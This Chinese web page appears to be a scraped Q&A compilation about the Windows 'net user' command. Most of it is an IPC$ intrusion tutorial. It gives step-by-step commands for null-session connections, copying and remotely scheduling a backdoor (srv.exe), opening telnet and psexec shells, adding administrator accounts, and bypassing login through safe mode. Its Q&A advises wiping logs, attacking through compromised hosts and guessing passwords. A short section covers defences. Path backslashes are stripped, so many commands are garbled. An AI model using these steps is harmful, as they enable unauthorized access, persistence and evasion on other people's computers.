求net user命令
当运行到“正在启动Windows XP”的提示界面时，按“F8”键调出系统启动选择菜单，选择：“带命令行安全模式”，当运行停止后，会列出“
Administrator”和其它用户的选择菜单（本例的其他用户以xpuser01为例），选择“Administrator”后回车，进入命令行模式，键入命令：“net user xpuser01 1234 /add”，这是更改该用户密码的命令，命令中的“1234”是更改后的新密码，如果键入的用户不存在（xpuser01），那么系统会自动添加这个用户。
另外还可以使用“net localgroup administrator xpuser01 /add”命令把xpuser01 这个用户升为超级用户，即可拥有所有权限。最后一步，就是重新启动计算机，在登录窗口中输入刚刚更改的新密码便可成功登录。
Net User
添加或更改用户帐号或显示用户帐号信息。
net user [username [password | *] [options] [/domain]
net user username {password | *} /add [options] [/domain]
net user username [/delete] [/domain]
参数
无
键入不带参数的 net user 将查看计算机上的用户帐号列表。
username
添加、删除、更改或查看用户帐号名。用户帐号名最多可以有 20 个字符。
password
为用户帐号分配或更改密码。密码必须满足在 net accounts 命令 /minpwlen 选项中设置的
最小参数。最多是 14 个字符。
*
提示输入密码。在密码提示行中键入密码时，将不显示该密码。
/domain
在计算机主域的主域控制器中执行操作。
该参数仅在 Windows NT Server 域成员的 Windows NT Workstation 计算机上可用。默认情
况下，Windows NT Server 计算机在主域控制器中执行操作。
注意：在计算机主域的主域控制器发生该动作。它可能不是登录域。
/add
将用户帐号添加到用户帐号数据库。
/delete
从用户帐号数据库中删除用户帐号。
选项如下所示：
/active:{no | yes}
启用或禁止用户帐号。如果不激活用户帐号，用户就不能访问计算机上的资源。默认值是 y
es （激活）。
/comment:"text"
提供用户帐号的注释。该注释最多可以有 48 个字符，文字用引号引住。
/countrycode:nnn
使用操作系统的国家代码以便为用户帮助和错误信息文件提供指定语言文件。0 值表示默认
国家代码。
/expires:{date | never}
如果设置 date，将导致用户帐号过期，never 不对用户帐号设置时间限制。过期日期根据
/countrycode 值可以是下列格式： mm/dd/yy、dd/mm/yy 或 mmm, dd, yy。注意帐号在指定
日期开始时过期。月份可以是数字、全名或三个字母的简拼。年可以是两位或四位数，使用
逗号或斜线（不要用空格） 区分日期的各部分。如果省略 yy ，则使用该日期下一次到来的
年份（根据计算机的时钟）。例如如果在 1994 年 1 月 10 日到 1995 年 1 月 8 日之间输
入下列日期项，那它们相同：jan,9
1/9/95
january,9,1995
1/9
/fullname:"name"
指定用户全名而不是用户名。用引号将名字引住。
/homedir ath
设置用户宿主目录的路径。该路径必须存在。
/homedirreq:{yes | no}
设置是否需要宿主目录。
/passwordchg:{yes | no}
指定用户是否能改变自己的密码。默认值是 yes。
/passwordreq:{yes | no}
指定用户帐号是否需要密码，默认值是 yes。
/profilepath:[path]
设置用户登录配置文件的路径。该路径名指向注册表配置文件。
/scriptpath ath
为用户登录脚本设置路径。Path 不能是绝对路径；
path 是相对于 %systemroot%SYSTEM32REPLIMPORTSCRIPTS 的相对路径：。
/times:{times | all}
指定允许用户使用计算机的时间。times 值表示为 day[-day][, day[-day] , time[-time
][, time[-time], 增量限制为一小时。Days 可以是全名或简写（M、T、W、Th、F、Sa、S
u）。Hours 可以是 12 小时制或 24 小时制。对于 12 小时值，使用 AM、PM 或 A.M、P.M
。all 表示用户总可以登录。空值表示用户永远不能登录。用逗号分隔日期和时间，分隔时
间和日期的单位用分号（例如 M,4AM-5PM; T,1PM-3PM）。指定 /times 时不要使用空格。
/usercomment:"text "
让管理员添加或更改帐号的“用户注释”。用引号引住文字。
/workstations:{computername[,...] | *}
列出最多八个用户可以登录到网络的工作站。用逗号分隔列表中的多个项。如果 /workstat
ions 没有列表，或如果列表是星号“*”，则用户可以从任何一台计算机登录。
为了这份教程的完整性，我列出了ipc$入侵中的一些常用命令，如果你已经掌握了这些命令，你可以跳过这一部分看下面的内容。请注意这些命令是适用于本地还是远程，如果只适用于本地，你只能在获得远程主机的shell（如cmd，telnet等）后，才能向远程主机执行。
1 建立/删除ipc$连接的命令
1）建立空连接:
net use 127.0.0.1ipc$ "" /user:""
2）建立非空连接:
net use 127.0.0.1ipc$ "密码" /user:"用户名"
3）删除连接:
net use 127.0.0.1ipc$ /del
2 在ipc$连接中对远程主机的操作命令
1） 查看远程主机的共享资源（看不到默认共享）:
net view 127.0.0.1
2） 查看远程主机的当前时间:
net time 127.0.0.1
3） 得到远程主机的netbios用户名列表:
nbtstat -a 127.0.0.1
4）映射/删除远程共享:
net use z: 127.0.0.1c
此命令将共享名为c的共享资源映射为本地z盘
net use z: /del
删除映射的z盘，其他盘类推
5）向远程主机复制文件:
copy 路径文件名 ip共享目录名，如：
copy c:xinxin.exe 127.0.0.1c$ 即将c盘下的xinxin.exe复制到对方c盘内
当然，你也可以把远程主机上的文件复制到自己的机器里：
copy 127.0.0.1c$xinxin.exe c:
6）远程添加计划任务:
at ip 时间 程序名 如：
at 127.0.0.0 11:00 xinxin.exe
注意：时间尽量使用24小时制；如果你打算运行的程序在系统默认搜索路径（比如system32/）下则不用加路径，否则必须加全路径
3 本地命令
1）查看本地主机的共享资源（可以看到本地的默认共享）
net share
2）得到本地主机的用户列表
net user
3）显示本地某用户的帐户信息
net user 帐户名
4）显示本地主机当前启动的服务
net start
5）启动/关闭本地服务
net start 服务名
net stop 服务名
6）在本地添加帐户
net user 帐户名 密码 /add
7）激活禁用的用户
net uesr 帐户名 /active:yes
8）加入管理员组
net localgroup administrators 帐户名 /add
很显然的是，虽然这些都是本地命令，但如果你在远程主机的shell中输入，比如你telnet成功后输入上面这些命令，那么这些本地输入将作用在远程主机上。
4 其他一些命令
1）telnet
telnet ip 端口
telnet 127.0.0.0 23
2）用opentelnet.exe开启远程主机的telnet
opentelnet.exe ip 管理员帐号 密码 ntlm的认证方式 port
opentelnet.exe 127.0.0.1 administrator "" 1 90
不过这个小工具需要满足四个要求：
1）目标开启了ipc$共享
2）你要拥有管理员密码和帐号
3）目标开启remoteregistry服务，用户就可以更改ntlm认证
4）对仅win2k/xp有效
3）用psexec.exe一步获得shell，需要ipc管道支持
psexec.exe ip -u 管理员帐号 -p 密码 cmd
psexec.exe 127.0.0.1 -u administrator -p "" cmd
十三 对比过去和现今的ipc$入侵
既然是对比，那么我就先把过去的ipc$入侵步骤写给大家，都是蛮经典的步骤：
[1]
c:>net use 127.0.0.1ipc$ "" /user:admintitrators
用扫到的空口令建立连接
[2]
c:>net view 127.0.0.1
查看远程的共享资源
[3]
c:>copy srv.exe 127.0.0.1admin$system32
将一次性后门srv.exe复制到对方的系统文件夹下，前提是admin$开启
[4]
c:>net time 127.0.0.1
查看远程主机的当前时间
[5]
c:>at 127.0.0.1 时间 srv.exe
用at命令远程运行srv.exe，需要对方开启了'task scheduler'服务
[6]
c:>net time 127.0.0.1
再次查看当前时间来估算srv.exe是否已经运行，此步可以省略
[7]
c:>telnet 127.0.0.1 99
开一个新窗口，用telnet远程登陆到127.0.0.1从而获得一个shell(不懂shell是什么意思？那你就把它想象成远程机器的控制权就好了，操作像dos)，99端口是srv.exe开的一次性后门的端口
[8]
c:winntsystem32>net start telnet
我们在刚刚登陆上的shell中启动远程机器的telnet服务，毕竟srv.exe是一次性的后门，我们需要一个长久的后门便于以后访问，如果对方的telnet已经启动，此步可省略
[9]
c:>copy ntlm.exe 127.0.0.1admin$system32
在原来那个窗口中将ntlm.exe传过去，ntlm.exe是用来更改telnet身份验证的
[10]
c:winntsystem32>ntlm.exe
在shell窗口中运行ntlm.exe，以后你就可以畅通无阻的telnet这台主机了
[11]
c:>telnet 127.0.0.1 23
在新窗口中telnet到127.0.0.1，端口23可省略，这样我们又获得一个长期的后门
[12]
c:winntsystem32>net user 帐户名 密码 /add
c:winntsystem32>net uesr guest /active:yes
c:winntsystem32>net localgroup administrators 帐户名 /add
telnet上以后，你可以建立新帐户，激活guest，把任何帐户加入管理员组等
好了，写到这里我似乎回到了2，3年前，那时的ipc$大家都是这么用的，不过随着新工具的出现，上面提到的一些工具和命令现在已经不常用到了，那就让我们看看现在的高效而简单的ipc$入侵吧。
[1]
psexec.exe ip -u 管理员帐号 -p 密码 cmd
用这个工具我们可以一步到位的获得shell
opentelnet.exe server 管理员帐号 密码 ntlm的认证方式 port
用它可以方便的更改telnet的验证方式和端口，方便我们登陆
[2]
已经没有第二步了，用一步获得shell之后，你做什么都可以了，安后门可以用winshell，克隆就用ca吧，开终端用3389.vbe，记录密码用win2kpass，总之好的工具不少，随你选了，我就不多说了。
十四 如何防范ipc$入侵察看本地共享资源
运行-cmd-输入net share
删除共享(每次输入一个）
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete（如果有e,f,……可以继续删除）
1 禁止空连接进行枚举(此操作并不能阻止空连接的建立)
运行regedit，找到如下主键[hkey_local_machinesystemcurrentc = dword的键值改为：1
如果设置为"1"，一个匿名用户仍然可以连接到ipc$共享，但无法通过这种连接得到列举sam帐号和共享信息的权限；在windows 2000 中增加了"2"，未取得匿名权的用户将不能进行ipc$空连接。建议设置为1。如果上面所说的主键不存在，就新建一个再改键值。如果你觉得改注册表麻烦，可以在本地安全设置中设置此项： 在本地安全设置－本地策略－安全选项－'对匿名连接的额外限制'
2 禁止默认共享
1）察看本地共享资源
运行-cmd-输入net share
2）删除共享（重起后默认共享仍然存在）
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete（如果有e,f,……可以继续删除）
3）停止server服务
net stop server /y （重新启动后server服务会重新开启）
4）禁止自动打开默认共享（此操作并不能关闭ipc$共享）
运行-regedit
server版:找到如下主键[hkey_local_machinesystemcurrentc
pro版:找到如下主键[hkey_local_machinesystemcurrentc
这两个键值在默认情况下在主机上是不存在的，需要自己手动添加，修改后重起机器使设置生效。
3 关闭ipc$和默认共享依赖的服务:server服务
如果你真的想关闭ipc$共享，那就禁止server服务吧：
控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-选已禁用，这时可能会有提示说：xxx服务也会关闭是否继续，因为还有些次要的服务要依赖于server服务，不要管它。
4 屏蔽139，445端口
由于没有以上两个端口的支持，是无法建立ipc$的，因此屏蔽139，445端口同样可以阻止ipc$入侵。
1）139端口可以通过禁止nbt来屏蔽
本地连接－tcp/it属性－高级－wins－选‘禁用tcp/it上的netbios’一项
2）445端口可以通过修改注册表来屏蔽
添加一个键值
hive: hkey_local_machine
key: systemcontrolsetservicesnetbtparameters
name: smbdeviceenabled
type: reg_dword
value: 0
修改完后重启机器
注意：如果屏蔽掉了以上两个端口，你将无法用ipc$入侵别人。
3）安装防火墙进行端口过滤
6 设置复杂密码，防止通过ipc$穷举出密码，我觉得这才是最好的办法，增强安全意识，比不停的打补丁要安全的多。
十五 ipc$入侵问答精选
1.进行ipc$入侵的时候，会在服务器中留下记录，有什么办法可以不让服务器发现吗？
答：留下记录是一定的，你走后用清除日志程序删除就可以了，或者用肉鸡入侵。
2.你看下面的情况是为什么，可以连接但不能复制
net use ***.***.***.***ipc$ "密码" /user:"用户名"
命令成功
copy icmd.exe ***.***.***.***admin$
找不到网络路径
命令不成功
答：像“找不到网络路径”“找不到网络名”之类的问题，大多是因为你想要复制到的共享文件夹没有开启，所以在复制的时候会出现错误，你可以试着找找其他的共享文件夹。
3.如果对方开了ipc$，且能建立空联接，但打开c、d盘时，都要求密码，我知道是空连接没有太多的权限，但没别的办法了吗？
答：建议先用流光或者别的什么扫描软件试着猜解一下密码，如果猜不出来，只能放弃，毕竟空连接的能力有限。
4.我已经猜解到了管理员的密码，且已经ipc$连接成功了，但net view ip发现它没开默认共享，我该怎么办？
答：首先纠正你的一个错误，用net view ip是无法看到默认共享的，你可以试着将文件复制到c$，d$看看，如果都不行，说明他关闭了默认共享，那你就用opentelnet.exe或psexec.exe吧，用法上面有。
5.ipc$连接成功后，我用下面的命令建立了一个帐户，却发现这个帐户在我自己的机器上，这是怎么回事？
net uset ccbirds /add
答：ipc$建立成功只能说明你与远程主机建立了通信隧道，并不意味你取得了一个shell，只有在获得一个shell（比如telnet）之后，你才能在远程机器建立一个帐户，否则你的操作只是在本地进行。
6.我已进入了一台肉机，用的管理员帐号，可以看他的系统时间，但是复制程序到他的机子上却不行，每次都提示“拒绝访问，已复制0个文件”，是不是对方有什么服务没开，我该怎么办？
答：一般来说“拒绝访问”都是权限不够的结果，可能是你用的帐户有问题，还有一种可能，如果你想向普通共享文件夹复制文件却返回这个错误，说明这个文件夹设置的允许访问用户中不包括你（哪怕你是管理员），这一点我在上一期文章中分析了。
7.我用win98能与对方建立ipc$连接吗？
答：理论上不可以，要进行ipc$的操作，建议用win2000，用其他操作系统会带来许多不必要的麻烦。
8.我用net use ipipc$ "" /user ""成功的建立了一个空会话，但用nbtstat -a ip 却无法导出用户列表，这是为什么？
答：空会话在默认的情况下是可以导出用户列表的，但如果管理员通过修改注册表来禁止导出列表，就会出现你所说的情况；还有可能是你自己的nbt没有打开，netstat命令是建立在nbt之上的。
9.我建立ipc$连接的时候返回如下信息：‘提供的凭据与已存在的凭据集冲突’，怎么回事？
答：呵呵，这说明你已经与目标主机建立了ipc$连接，两个主机间同时建立两个ipc$连接是不允许的。
10.我在映射的时候出现：
f:>net use h: 211.161.134.*e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事？
答：你也太粗心了吧，这说明你有一个h盘了，映射到没有的盘符吧！
11.我建立了一个连接f:>net use *.*.*.*ipc$ "123" /user:"guest" 成功了，但当我映射时出现了错误，向我要密码，怎么回事？
f:>net use h: *.*.*.*c$
密码在 *.*.*.*c$ 无效。
请键入 *.*.*.*c$ 的密码:
系统发生 5 错误。
拒绝访问。
答：呵呵，向你要密码说明你当前使用的用户权限不够，不能映射c$这个默认共享，想办法提升权限或者找管理员的弱口令吧！默认共享一般是需要管理员权限的。
12.我用superscan扫到了一个开了139端口的主机，但为什么不能空连接呢？
答：你混淆了ipc$与139的关系，能进行ipc$连接的主机一定开了139或445端口，但开这两个端口的主机可不一定能空连接，因为对方可以关闭ipc$共享.
13.我门局域网里的机器大多都是xp，我用流光扫描到几个administrator帐号口令是空，而且可以连接，但不能复制东西，说错误5。请问为什么？
答：xp的安全性要高一些，在安全策略的默认设置中，对本地帐户的网络登录进行身份验证的时候，默认为来宾权限，即使你用管理员远程登录，也只具有来宾权限，因此你复制文件，当然是错误5：权限不够。
14.我用net use 192.168.0.2ipc$ "password" /user:"administrator" 成功，可是 net use i: 192.168.0.2c
出现请键入 192.168.0.2 的密码，怎么回事情呢？我用的可是管理员呀？应该什么都可以访问呀？
答：虽然你具有管理员权限，但管理员在设置c盘共享权限时（注意：普通共享可以设置访问权限，而默认共享则不能）可能并未设置允许administrator访问，所以会出现上述问题。
15.如果自己的机器禁止了ipc$, 是不是还可以用ipc$连接别的机器？如果禁止server服务呢？
答：禁止以上两项仍可以发起ipc$连接，不过这种问题自己动手试验会更好。
16.能告诉我下面的两个错误产生的原因吗？
c:>net time 61.225.*.*
系统发生 5 错误。
拒绝访问。
c:>net view 61.225.*.*
系统发生 5 错误。
拒绝访问。
答：起初遇到这个问题的时候我也很纳闷，错误5表示权限不够，可是连空会话的权限都可以完成上面的两个命令，他为什么不行呢？难道是他没建立连接？后来那个粗心的同志告诉我的确是这样，他忘记了自己已经删了ipc$连接，之后他又输入了上面那两个命令，随之发生了错误5。
17.您看看这是怎么回事？
f:>net time
找不到时间服务器。
请键入 net helpmsg 3912 以获得更多的帮助。
答：答案很简单，你的命令错了，应该是net time ip
没输入ip地址，当然找不到服务器。view的命令也应该有ip地址，即：net view ip
你要的可是这?
吁类再佳： Net User 添加或更改用户帐号或显示用户帐号信息. net user [username [password | *] [options] [/domain] net user username {password | *} /add [options] [/domain] net user username [/delete] [/domain] 参数 无 键入不带参数的 net user 将查看计...
呈贡县18565608841： 怎么输net user 命令 - ？
吁类再佳： 再开机的时候,连续按F8然后选择进入DOS或者安全模式(带DOS) 就可以了.你不用鼠标点开始,按键盘上的WINDOS建看是否可以打开开始菜单
呈贡县18565608841： 请问如何输入net user指令 - ？
吁类再佳： 打开一个cmd窗口, 然后输入net user命令 就可以了
呈贡县18565608841： netuser命令输入？
吁类再佳： 不能,因为进入带命令行的安全模式也需要admin的密码才能进入admin的帐户
呈贡县18565608841： 怎么键入netuser啊 - ？
吁类再佳： 选择“开始”菜单的“附件”选项的子选项“命令提示符”,或在“开始”菜单的“运行”选项(快捷键为Win+R)中输入“cmd.exe”,进入MS-DOS模式.用于增加/创建/改动用户帐户
呈贡县18565608841： 在进入＂带命令行的安全模式＂时就已经要求输入密码,那么你如何输入命令: NET USER这个命令呢? - ？
吁类再佳： 在进入带命令行的安全模式后,出现的就是命令提示符介面,你直播输入 net user 123 123 /add 这是建一个新帐户,名字123 密码123 net localgroup administrator 123 /add 把123添加到管理员组!晕,我没看了一次你的问题,我看错了!你是不...
呈贡县18565608841： 怎么用命令将user用户添加管理员权限? - ？
吁类再佳： net use \\ip\ipc$ ＂ ＂ /user:＂ ＂ 建立IPC空链接 net use \\ip\ipc$ ＂密码＂ /user:＂用户名＂ 建立IPC非空链接 net use h: \\ip\c$ ＂密码＂ /user:＂用户名＂ 直接登陆后映射对方C:到本地为 H: net use h: \\ip\c$ 登陆后映射对方C:到本地为H: ...
呈贡县18565608841： DOS命令中的net命令怎么使用哦.求高手详解 - ？
吁类再佳： net user 查看本机用户 net user 用户名 密码 /add 建立一个用户 net user 用户名 /del 删除一个用户 net localgroup administrators 用户名 /add 把用户添加到管理员 net localgroup administrators 用户名 /del 把用户从管理员组删除 这个就不用演示了,和上面 的一样
呈贡县18565608841： net user命令在什么地方显示？
吁类再佳： 在dos窗口中显示进入方法有俩种一是按开始-运行-输入cmd按回车进入二是开始-程序-附件-命令提示符进入
呈贡县18565608841： net use 命令 - ？
吁类再佳： 在 cmd.exe中添加服务器盘符的方法可以这样写 net use Z: \\Ip /user:admin 123456 z代表的是映射到盘符 Ip既服务器的地址 其他的就是服务器的用户名和密码,不过请注意空格 删除 net use Z: /Delete z代表的是映射到盘符 就是这样,如果想加入到代中自己领会下吧
